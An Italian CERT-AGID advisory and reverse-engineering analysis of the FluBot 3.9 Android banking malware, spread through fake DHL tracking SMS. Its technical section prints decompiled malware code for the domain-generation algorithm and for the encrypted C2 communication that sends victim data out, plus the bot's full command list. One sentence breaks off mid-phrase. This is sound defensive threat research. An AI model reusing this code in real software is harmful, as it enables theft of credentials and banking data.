Pericolosa campagna Flu bot veicolata anche in Italia via SMS prende di mira i dispositivi Android

14/04/2021

android apk flubot infostealer
SMS

In questi giorni il CERT-AGID ha rilevato una campagna malware per dispositivi Android che utilizza SMS per veicolare Flu bot 3.9. “Flu Bot” (il nome reale è tutto unito, il motivo è spiegato più avanti) è un malware già diffuso al di fuori dall’Italia, in particolare in Spagna, Germania e Ungheria. Il giorno dopo la prima rilevazione della campagna italiana, grazie anche alla collaborazione con il ricercatore di sicurezza linuxct, il CERT-AGID ha avuto la conferma che il malware avrebbe potuto diffondersi anche in Italia.
Dalla conseguente analisi effettuata, è stato rivelato il supporto anche per le seguenti lingue: polacco, italiano, ungherese, galiziano, basco, spagnolo, tedesco e catalano. Il malware invece non si attiva sui dispositivi che usano una delle lingue tra uzbeco, inglese (Regno Unito), turco, tagico, russo, rumeno, lingua kirghisa, kazaco, georgiano, armeno, bielorusso o azerbaigiano.
L’esclusione dei paesi dell’ex URSS è tipica dei malware di origine russa. Del fatto che Flu Bot sia russo se ne ha la conferma anche dalla presenza di una stringa derisoria nei confronti di linuxct scritta, appunto, in russo.

Inoltre, il prefisso italiano presente nel codice (qui mostrato dopo la nostra deoffuscazione), fa pensare che questa versione sia stata creata appositamente per l’Italia:

Prefisso italiano +39

La versione per l’Italia sfrutta il tema “Spedizioni”: l’utente viene spinto a cliccare sul link riportato con la scusa di tracciare la sua spedizione. Una volta cliccato sul link, si atterra su una finta pagina del corriere DHL dalla quale viene proposto il download di una app (DHL.apk) da installare sul proprio dispositivo.

Installazione di DHL.apk su dispositivo Android

La versione di Flu Bot analizzata dal CERT-AGID è la 3.9, che sembra essere stata rilasciata proprio in questi giorni. Fino alla scorsa settimana infatti si aveva evidenza della versione 3.8.

Come la maggior parte dei malware per Android, anche Flu Bot non sfrutta falle nel sistema operativo o nel dispositivo della vittima. Il malware infatti non acquisisce privilegi particolari a livello di sistema operativo (tale tecnica, per via della complessità, è generalmente utilizzata da attori di alto profilo, come spiegato in SELinux ed i meccanismi di isolamento delle app in Android) ma utilizza la ben nota tecnica del “servizio di accessibilità”.

Come mostra l’immagine sopra, è necessario che l’utente abiliti l’applicazione appena scaricata come servizi di accessibilità del suo dispositivo.

Un servizio di accessibilità è un componente software che può assistere gli utenti con la lettura e l’interazione con il dispositivo (si pensi alla lettura dello schermo per i non vedenti ed al click assistito per gli utenti diversamente abili) e, proprio per l’enorme libertà di azione di questi componenti, una volta che quello di Flu Bot viene abilitato il malware ottiene la libertà di compiere azioni in vece dell’utente.

Analogamente agli altri malware per Android più diffusi, che non possono accedere ai file di dati ed applicazioni per la mancanza degli opportuni permessi, anche Flu Bot, che appartiene alla categoria degli infostealer, presenta gli stessi limiti, necessitando della interazione dell’utente.

Le sue principali azioni sono quelle di presentare una finta pagina (una activity, in gergo tecnico) di verifica di Google Play Protect (un servizio di verifica della app di Google) che richiede l’inserimento dei dati della carte di credito e di mostrare finte pagine di phishing (in gergo, inject) all’apertura di app specifiche (come GMail, WhatsApp e simili).
I dati inseriti, siano essi relativi a carte di credito o siano essi credenziali, sono rubati inviandoli al server del malware.

Le campagne ungheresi e spagnole di questo malware si sono incentrate sul furto di carte di credito ed è plausibile che una cosa simile avvenga con quelle italiane. Quando la vittima apre un’applicazione di home banking, il malware mostra una finta pagina per l’inserimento delle credenziali.
Lo scopo è accedere al conto corrente della vittima e trasferire i soldi verso fondi esteri. Questo trasferimento risulta possibile perchè il malware è in grado di intercettare gli SMS inviati dalla

Oltre al singolare metodo di generazione di 5000 domini, che verrà affrontato più avanti nei dettagli tecnici, “Flu Bot” è in grado di eseguire altri comandi (sotto vi è la lista completa), principalmente a supporto della sua attività di infostealing.

In particolare, è in grado di inviare SMS con contenuto arbitrario, probabilmente per la sua diffusione (è plausibile quindi che i mittenti degli SMS per la diffusione di Flu Bot siano a loro volta infetti). E’ inoltre in grado di rubare gli SMS e le notifiche ricevute per recuperare i codici 2FA (quelli ricevuti quando si accede a servizi come la propria banca), di disinstallare applicazioni, di eseguire codici operatore (codici USSD) che possono permettere di abilitare deviazioni di chiamata (sempre per aggirare l’autenticazione 2FA di alcuni servizi) e, infine, di aprire pagine web arbitrarie e di utilizzare il dispositivo come proxy (per lanciare attacchi, coprire le tracce o in generale registrare il dispositivo nella botnet).

Le pagine di phishing recuperate dal malware dipendono dalle applicazioni installate: analizzando il codice in questione si è visto che la versione 3.9 è in grado di riconoscere la presenza dello strumento di rimozione di Flu Bot di linuxct e di impedirne l’uso (ogni volta che l’utente prova ad aprirlo, questo viene “chiuso”. Un aggiornamento del tool è disponibile qui).

Impedisce l’esecuzione del tool di uninstaller

Gli autori hanno lasciato un commento per linuxct:

Keep another $ 25, boy :))

Il malware cerca nel testo delle app la presenza della stringa “Flu Bot” (case insensitive e senza spazio) che se rilevata inibisce la visualizzazione dell’app simulando la pressione del tasto indietro riportando lo schermo alla home.
Come suggerito da linuxct, abbiamo quindi evitato di riportare il nome del malware con le due parole, Flu e Bot, attaccate (come vorrebbe il nome reale).

Da notare che l’utilizzo di adb rimane il metodo più sicuro per disinstallare il malware. Flu Bot, come i suoi simili, è in grado di determinare se l’utente è posizionato sulla schermata di disinstallazione (grazie al servizio di accessibilità) ed impedisce la propria disinstallazione rimandando alla home page.
Il malware non ha però privilegi particolari, per cui una disinstallazione da linea di comando con adb è sufficiente per rimuoverlo (il package name può essere trovato in vari modi e il più semplice è tramite l’ispezione manuale delle app installate).

Indicatori di compromissione

Il CERT-AGID ha già condiviso gli IoC relativi al malware attraverso la sue piattaforme per favorirne la loro diffusione.

Al fine di rendere pubblici i dettagli di questa campagna si riportano di seguito gli indicatori rilevati:

Link: Download IoC (lista dropurl)

Dettagli tecnici riscontrati durante l’analisi

Flu Bot è un APK multi-dex: considerando che il malware ha dimensioni ridotte e che vi è la presenza del package “com.whatsapp”, si intuisce che del codice superfluo (probabilmente proprio di Whatsapp) è stato inserito come “copertura” per ingannare gli strumenti automatici.
Dalla figura sotto si nota inoltre che le classi dei componenti del malware non sono presenti nell’APK.

Questo è tipico dei malware per Android offuscati.
In questo caso è stato usato ApkProtector. Questo offuscatore carica le classi mancati da un file dex cifrato (con algoritmo proprietario) in “assets/dex/” e lo stesso file decifrato in “/app_apkprotector_dex”.
Il comportamento dell’offuscatore si può facilmente intuire dal fatto che viene utilizzato un’oggetto derivato da Application che fa override dei metodi onAttachBaseContext e onCreate.
Il codice è di difficile interpretazione, più che altro per i nomi lunghi usati per i campi e le variabili. Questa lunghezza mette a dura prova gli strumenti di parsing.
Tuttavia JADX ha un’opzione per la “deoffuscazione” (intesa come rinominazione delle classi) che permette comunque di accorciare i nomi.

Le stringhe che il codice di deoffuscazione usa sono codificate in modo molto semplice; come mostra la figura sotto sono codificate come array di byte corrispondenti ad un base64 contenente la stringa.

Deoffuscando le stringhe è possibile vedere che la chiave per la decifratura è contenuta in un metadato dell’APK, ma il suo contenuto non è stampabile e verrà comunque ulteriormente processato.

Sfortunatamente JADX non riesce e decompilare tutti i metodi necessari (per via della loro dimensione) e non ci è stato quindi possibile decifrare il file dex staticamente.
E’ stato quindi necessario ricorrere all’analisi dinamica: è stato lanciato il malware nell’emulatore Android disponibile con il relativo SDK e catturato il file decodificato.

Il nuovo file dex contiene le classi mancanti e presenta una parziale offuscazione dei nomi. Inoltre le stringhe sono offuscate (come mostra l’immagine seguente, dove si notano le chiamate anomale nel posto dove ci si aspetterebbe una stringa):

Deoffuscare le stringhe

Seguendo la chiamata del metodo anomalo, si arriva al seguente codice:

Notare che sono presenti due stringhe aperte ma mai chiuse (le due virgolette). In realtà si tratta di stringhe estremamente lunghe che JADX non rappresenta per intero.
Queste stringhe contengono caratteri non stampabili che contengono i byte, cifrati, di tutte le stringhe del malware.

Supponendo di conoscere il parametro numerico j, diverso per ogni stringa, scrivere un programma di decodifica diventa semplice. Si tratta solo di avere la pazienza di trascrivere tutti i metodi necessari.
L’algoritmo di decodifica è proprietario ed utilizza varie operazioni di manipolazione logica ed algebrica. Data la loro variabilità non ha generalmente senso spendere tempo per analizzare nel dettaglio questi algoritmi.
A titolo di esempio, un programma di decodifica è disponibile qui.

Possiamo ora decodificare le singole stringhe:

>java dec
Xiaomi

Vista la loro notevole quantità non è possibile farlo a mano.
È stato allora convertito il file dex in un file jar con enjarify (migliore di dex2jar), rimosso le classi del runtime Android e decompilato il jar con JADX (disponibile anche online qui), ottenendo così dei file java decompilati.
E’ stato quindi scritto un programma per cercare le chiamate al metodo di deoffuscazione, parsarne il parametro (eventualmente cercando il valore effettivo qualche riga sopra, nel caso fosse passata una variabile) e sostiture la chiamata con la stringa decodificata.
Quello che si ottiene non è sempre codice Java valido (non lo era già dall’inizio, ad essere precisi) ma è leggibile e permette di passare alla fase di deoffuscazione del codice.

Deoffuscare il codice

Il codice non presenta offuscazioni particolari: con la pazienza e l’uso del Find/Replace su file multipli vengono rinominati i metodi via via che si analizzano.

Il risultato si può scaricare qui.

La generazione dei domini

Flu Bot non contiene il suo C2 in chiaro o codificato: questo è infatti generato algoritmicamente. La lista completa dei domini generati è disponibile qui.

L’algoritmo esegue i seguenti passi:

(1) Viene generato un seed per un RNG a partire dall’anno e mese corrente (il mese è in 0-base, come da API Java).

private static void makeSeedFromDate() {
        int i = Calendar.getInstance().get(1);
        int i2 = Calendar.getInstance().get(2);
        long j = (long) ((i ^ i2) ^ 0);
        f2346a = j;
        long j2 = j * ((long) 2);
        f2346a = j2;
        long j3 = j2 * (((long) i) ^ j2);
        f2346a = j3;
        long j4 = (((long) i2) ^ j3) * j3;
        f2346a = j4;
        long j5 = j4 * (((long) 0) ^ j4);
        f2346a = j5;
        f2346a = j5 + 1813;
    }

(2) Sono generati 5000 stringhe alfabetiche (solo lettere minuscole) di 15 lettere. Ad ognuna è aggiunto, nell’ordine, uno tra i TLD “.ru”, “.cn”, “.su”.

Random random = new Random(f2346a);
            ArrayList arrayList = new ArrayList();
            for (int i = 0; i < 5000; i++) {
                String a = "";
                for (int i2 = 0; i2 < 15; i2++) {
                    a = a + ((char) (random.nextInt(25) + 97));
                }
                if (i % 3 == 0) {
                    sb = new StringBuilder();
                    sb.append(a);
                    sb.append(".ru");
                } else if (i % 2 == 0) {
                    sb = new StringBuilder();
                    sb.append(a);
                    sb.append(".su");
                } else {
                    sb = new StringBuilder();
                    sb.append(a);
                    sb.append(".cn");
                }
                arrayList.add(sb.toString());
            }
            Collections.shuffle(arrayList);

(3) Viene creato un pool di 50 thread a cui sono passati 5000 worker che testano individualmente i domini generati. I domini sono risolti tramite DNS ordinario o tramite DOH (DNS-over-HTTP) in modo casuale ogni volta.

boolean nextBoolean = Util.rng.nextBoolean();
                String d = nextBoolean ? MalUtil.checkDomainWithDOH(str) : MalUtil.resolveHostname(str);
                if (d != null) {
                    PrintStream printStream = System.out;
                    printStream.println(" IP: " + d);
                    C2Request gVar = new C2Request();
                    gVar.setPort(80);
                    gVar.setHost(str);
                    gVar.setPath("/poll.php");
                    gVar.setHeaders(new String[][]{new String[]{"Host", str}});
                    ...
                }

 public static String checkDomainWithDOH(String str) {
        "cloudflare-dns.com";
        "/dns-query?name=%s&type=A";
        try {
            C2Request gVar = new C2Request();
            gVar.setHost("cloudflare-dns.com");
            gVar.usePOST(false);
            gVar.setPath(String.format("/dns-query?name=%s&type=A", new Object[]{str}));
            gVar.useHTTPS(true);
            gVar.setPort(443);
            gVar.setHeaders(new String[][]{new String[]{"Accept", "application/dns-json"}});
            if (!gVar.doC2HTTPRequest()) {
                return null;
            }
            JSONArray jSONArray = new JSONObject(gVar.getResponse()).getJSONArray("Answer");
            return jSONArray.getJSONObject(Util.rng.nextInt(jSONArray.length() - 1)).getString("data");
        } catch (Exception e) {
            return null;
        }
    }

 public static String resolveHostname(String str) {
        try {
            return InetAddress.getByName(str).getHostAddress();
        } catch (Exception e) {
            return null;
        }
    }

(4) I domini che sono effettivamente risolti in un indirizzo IP sono contattati tramite una POST sull’URL /poll.php.

Lo stesso meccanismo di comunicazione è usato successivamente per le comunicazioni con il C2:

if (C2Communication.sendToC2(d, "PREPING,", str) != null) {
                        atomicReference.set(d);
                        atomicReference2.set(str);
                        PrintStream printStream2 = System.out;
                        StringBuilder sb = new StringBuilder();
                        sb.append("--- Hurra: Found host using ");
                        sb.append(nextBoolean ? "DOH" : " good old DNS");
                        sb.append(". ---");
                        printStream2.println(sb.toString());
                        SharedPreferences.Editor edit = C0515b.getContext().getSharedPreferences(C0515b.getContext().getString(2131689500), 0).edit();
                        edit.putString("f", str);
                        edit.commit();
                        PrintStream printStream3 = System.out;
                        printStream3.println(str + " | " + i + " | HOST OK!");
                    }

Al momento dell’analisi (Aprile 2021), dei 5000 domini estratti, solo due risultano registrati e funzionanti.

I comandi

I comandi sono gestiti dal C2 come stringhe e ne mostriamo qui la lista:

RETRY_INJECTRimuove l’inject dalla lista degli inject già mostrati.
GET_CONTACTSEsfiltra la rubrica.
SEND_SMSInvia un SMS arbitrario.
RELOAD_INJECTSRichiede inject aggiornati al C2.
DISABLE_PLAY_PROTECTDisabilita Google Play Protect.
RUN_USSDEsegue un codice operatore (usabile tra le altre cose per deviazioni di chiamata).
NOTIF_INT_TOGGLEAbilita o disabilita l’intercettazione delle notifiche (utile per recuperare codici di OTP).
OPEN_URLApre una URL.
UPLOAD_SMSEsfiltra gli SMS.
SOCKSAvvia un server SOCK4.
BLOCKDisabilita o abilita gli inject, il furto delle notifiche e degli SMS. In generale sembra un kill-switch.
SMS_INT_TOGGLEAbilita o disabilita l’intercettazione degli SMS.
CARD_BLOCKMostra l’activity per il phishing della CC o, se già fatto, reinvia i dati rubati.
UNINSTALL_APPDisinstalla un’app.

Comunicazione con il C2

La comunicazione con il C2 avviene tramite POST HTTP verso il path /poll.php.

Il codice è mostrato qui sotto:

/* renamed from: a */
    private static void scamble(byte[] bArr, byte[] bArr2, boolean z) {
        try {
            byte[] bArr3 = (byte[]) bArr2.clone();
            byte b = 0;
            for (int i = 0; i < bArr.length; i++) {
                int length = i % bArr3.length;
                if (length == 0 && i != 0) {
                    for (int i2 = 0; i2 < bArr3.length; i2++) {
                        bArr3[i2] = (byte) ((z ? b : bArr[i - 1]) ^ bArr3[i2]);
                    }
                }
                b = bArr[i];
                bArr[i] = (byte) (bArr[i] ^ bArr3[length]);
            }
        } catch (Exception e) {
        }
    }

    /* renamed from: b */
    private static String encryptRSA(String str) {
        try {
            PublicKey generatePublic = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.decode("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQ3YWOM6ycmMrUGB8b3LqUiuXdxFYm/eBxARoAHC/9dC8c6agwdveSqj3/9hTOM5zTS/OsrYlIT6+ZmmmZrnOfbB+FXq3pCG8/kM6ujvGxY0ANfbGVlfCTOnd+jKVHH1YhPT55aAY5K0C0EACXoV+TyyjReAtzC2xn4gI/tklOOfK2/17qaOIuYLneGHRuklmM/BVMvlg9st4If6WYyntcX6RZtY7Usks7MWVhFOpzYlLN02b/FAPWjbgOPehZUqz8WGAuHFjuAX99c65nsYm1UT9IYypQXx3KJMBeJr1Yr4VUkkPMRqgAbKacWvgDywkJuYOcbfz8Om8a+8TVaojwIDAQAB", 0)));
            Cipher instance = Cipher.getInstance("RSA/ECB/PKCS1Padding");
            instance.init(1, generatePublic);
            return Base64.encodeToString(instance.doFinal(str.getBytes(StandardCharsets.UTF_8)), 2);
        } catch (Exception e) {
            return null;
        }
    }

    /* renamed from: c */
    public static String sendPOST(C2Request gVar, String str, String str2) {
        String a;
        try {
            //Host
            gVar.setHeaders(new String[][]{new String[]{"Host", str2}});
            String a2 = "";


            //Victim ID and random bytes
            SecureRandom secureRandom = new SecureRandom();
            for (int i = 0; i < 10; i++) {
                a2 = a2 + ((char) (secureRandom.nextInt(25) + 97));
            }
            String str3 = VictimID.getOrMake((Context) null) + "," + a2;
            String b = encryptRSA(str3);

            byte[] bArr = new byte[10];
            for (int i2 = 0; i2 < 10; i2++) {
                bArr[i2] = (byte) a2.charAt(i2);
            }
            byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
            scamble(bytes, bArr, true);

            //Content and POST
            gVar.setContent(String.format("%s\n%s", new Object[]{b, Base64.encodeToString(bytes, 2)}));
            gVar.usePOST(true);

            //Request
            if (!gVar.doC2HTTPRequest() || (a = gVar.getResponse()) == null) {
                return null;
            }

            //Get request, decode, split into two lines, check victim+request id
            byte[] decode = Base64.decode(a, 0);
            scamble(decode, bArr, false);
            String[] split = new String(decode, StandardCharsets.UTF_8).split("\n", 2);
            if (split.length != 2 || !split[0].equals(str3)) {
                return null;
            }

            //Return
            return split[1];
        } catch (Exception e) {
            return null;
        }
    }

L’invio di un dato “D” avviene con il seguente algoritmo:

  1. Viene generata una stringa segreta S di 10 caratteri alfabetici minuscoli (circa 47bit di entropia).
  2. Ad S viene pre-concatento l’ID univoco della vittima (separato da virgola), ottenendo: I = ID,S.
  3. D viene “cifrato” usando S come chiave: Ed = scramble(D, S).
  4. I viene cifrato con una chiave pubblica RSA usando modo ECB e padding PCKS1. Id = encryptRSA(I).
  5. La coppia Ed,Id (separata da newline) viene inviata come corpo della POST.
  6. Il risultato ritornato dal C2, Er, viene “decifrato” usando lo stesso algoritmo del passo 3 ma in modalità decifratura. R = descramble(Er, S).
  7. R è composto da due righe la prima deve essere uguale a I, la seconda contiene il risultato decifrato.

L’algorimo usato ai passi 3 e 6 è riportato nel codice sopra (funzione scamble) e ricorda OneTimePad ma la chiave, di lunghezza inferiore al testo da cifrare, è estesa. Quando la chiave è stata usata interamente, questa viene xorata con l’ultimo byte letto (o scritto, quando si decifrata) del testo in chiaro. Il solito byte è usato per xorare l’intera chiave, ottenendone una nuova.